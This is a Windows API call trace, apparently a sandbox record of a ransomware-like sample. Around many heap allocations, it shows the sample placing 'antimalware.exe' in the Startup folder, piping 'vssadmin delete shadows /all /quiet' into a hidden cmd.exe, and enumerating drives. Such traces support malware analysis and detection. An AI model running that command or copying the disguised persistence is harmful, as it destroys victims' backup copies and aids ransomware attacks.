	[0132.098] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0132.099] CloseHandle (hObject=0x244) returned 1
	[0132.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f28
	[0132.099] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f28, Size=0x20) returned 0x52dfe0
	[0132.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533078
	[0132.099] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533078, Size=0x20) returned 0x52e030
	[0132.099] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.099] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.099] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0132.099] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e030 | out: hHeap=0x4f0000) returned 1
	[0132.099] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfe0 | out: hHeap=0x4f0000) returned 1
	[0132.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2541020 | out: hHeap=0x4f0000) returned 1
	[0132.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534cb0 | out: hHeap=0x4f0000) returned 1
	[0132.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544cb8 | out: hHeap=0x4f0000) returned 1
	[0132.102] lstrlenW (lpString="%windir%\\System32") returned 17
	[0132.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507e88 | out: hHeap=0x4f0000) returned 1
	[0132.102] lstrlenW (lpString="%appdata%") returned 9
	[0132.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df40 | out: hHeap=0x4f0000) returned 1
	[0132.102] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0132.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e080 | out: hHeap=0x4f0000) returned 1
	[0132.102] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0132.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5078e8 | out: hHeap=0x4f0000) returned 1
	[0132.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5330a8
	[0132.102] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5330a8, Size=0x20) returned 0x52e080
	[0132.102] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e080, Size=0x40) returned 0x507c90
	[0132.102] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507c90, Size=0x80) returned 0x554ce8
	[0132.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532eb0
	[0132.102] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532eb0, Size=0x20) returned 0x52de50
	[0132.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x534cb0
	[0132.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x555cc8
	[0132.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x565cd0
	[0132.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532ec8
	[0132.103] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532ec8, Size=0x20) returned 0x52de78
	[0132.103] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de78, Size=0x40) returned 0x5078e8
	[0132.103] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078e8, Size=0x80) returned 0x554f08
	[0132.103] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x554f08, Size=0x100) returned 0x533330
	[0132.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0132.104] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x555cc8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0132.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565cd0 | out: hHeap=0x4f0000) returned 1
	[0132.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555cc8 | out: hHeap=0x4f0000) returned 1
	[0132.105] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0132.107] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0132.108] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0132.109] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0132.109] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdf8, dwThreadId=0xdfc)) returned 1
	[0132.247] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0132.247] WriteFile (in: hFile=0x24c, lpBuffer=0x554ce8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x554ce8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0132.247] CloseHandle (hObject=0x25c) returned 1
	[0132.247] CloseHandle (hObject=0x258) returned 1
	[0132.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534cb0 | out: hHeap=0x4f0000) returned 1
	[0132.247] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0132.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554ce8 | out: hHeap=0x4f0000) returned 1
	[0132.247] lstrlenW (lpString="%comspec%") returned 9
	[0132.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de50 | out: hHeap=0x4f0000) returned 1
	[0132.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0132.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x533030
	[0132.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x533030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0132.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e430
	[0132.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x52e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0132.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532dd8
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532dd8, Size=0x20) returned 0x52e080
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e080, Size=0x40) returned 0x507e88
	[0132.249] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0132.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x50bc90
	[0132.249] GetLogicalDrives () returned 0x4
	[0132.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x534cb0
	[0132.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532eb0
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532eb0, Size=0x20) returned 0x52e0a8
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e0a8, Size=0x40) returned 0x5079c0
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5079c0, Size=0x80) returned 0x5551b0
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5551b0, Size=0x100) returned 0x533330
	[0132.249] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x200) returned 0x533330
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x400) returned 0x544cd0
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544cd0, Size=0x800) returned 0x544cd0
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x544cd0, Size=0x1000) returned 0x544cd0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x555cc8
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532df0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x533000
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52e490
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x532f58
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52e370
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532f70
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e370, Size=0x8) returned 0x52e4c0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532e08
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e4c0, Size=0x10) returned 0x532fa0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532e20
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5330a8
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532fa0, Size=0x20) returned 0x52df90
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532e38
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e4a0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532e68
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x533048
	[0132.250] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df90, Size=0x40) returned 0x507d20
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532fa0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532e80
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5330c0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532eb0
	[0132.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532fb8
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532ec8
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e3b0
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532ef8
	[0132.251] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507d20, Size=0x80) returned 0x554d70
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x533078
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532fd0
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532fe8
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532f28
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532f40
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x532dd8
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5330f0
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e330
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x533168
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x533198
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x533150
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x533138
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x533108
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x533180
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x533120
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5330d8
	[0132.251] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x554d70, Size=0x100) returned 0x533330
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x508718
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545fd8
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545db0
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x545e58
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d80
	[0132.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545dc8
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e440
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d38
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545e10
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545ed0
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52e4c0
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545e40
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d50
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e340
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d68
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545f18
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x545fc0
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545f60
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545ff0
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545f48
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x545f78
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d08
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x545f90
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545de0
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545e70
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545f00
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545e88
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e450
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545ea0
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545df8
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d98
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545eb8
	[0132.252] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x200) returned 0x533330
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545ee8
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e350
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545fa8
	[0132.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545d20
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545f30
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x545e28
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5462d8
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5460e0
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546158
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5460f8
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546218
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5461a0
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546140
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546290
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5462f0
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5460c8
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546230
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546068
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546080
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546050
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546098
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546170
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546110
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e370
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546038
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546188
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546278
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e3d0
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5460b0
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546248
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546128
	[0132.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5461b8
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5461d0
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5461e8
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546008
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546200
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5462a8
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546260
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5462c0
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546020
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546368
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5463e0
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546488
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546338
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546398
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546350
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5463b0
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546380
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5463c8
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e380
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52e390
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5464b8
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5463f8
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546410
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546428
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546440
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546458
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546470
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5464a0
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546308
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546320
	[0132.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5466c0
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546660
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546588
	[0132.255] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533330, Size=0x400) returned 0x5470e8
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5465d0
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5465a0
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x546570
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5466a8
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546690
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546678
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5465b8
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546750
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5466d8
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5467b0
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e460
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546738
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5466f0
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5465e8
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5467e0
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546630
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546768
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5467f8
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546510
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546528
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546618
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546600
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546708
	[0132.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546720
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5467c8
	[0132.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x546798
